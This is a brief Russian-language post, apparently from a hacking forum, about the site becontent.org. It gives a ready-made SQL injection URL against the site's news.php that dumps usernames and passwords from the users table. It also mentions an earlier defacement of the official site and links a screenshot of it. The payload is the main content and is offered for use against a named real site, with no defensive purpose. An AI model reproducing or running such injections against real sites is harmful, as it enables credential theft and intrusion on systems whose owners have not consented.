www.becontent.org
уязвимость(бонально):
http://www.becontent.org/news.php?id=-3+union+select+1,concat_ws(0x3a,username,password) ,3,4+from+users
на данный момент там стоит последняя версия а месяца 2 назад офф сайт был под дефейсом, вот даже скринил:
http://sqlinj.com/owned/becontent.gif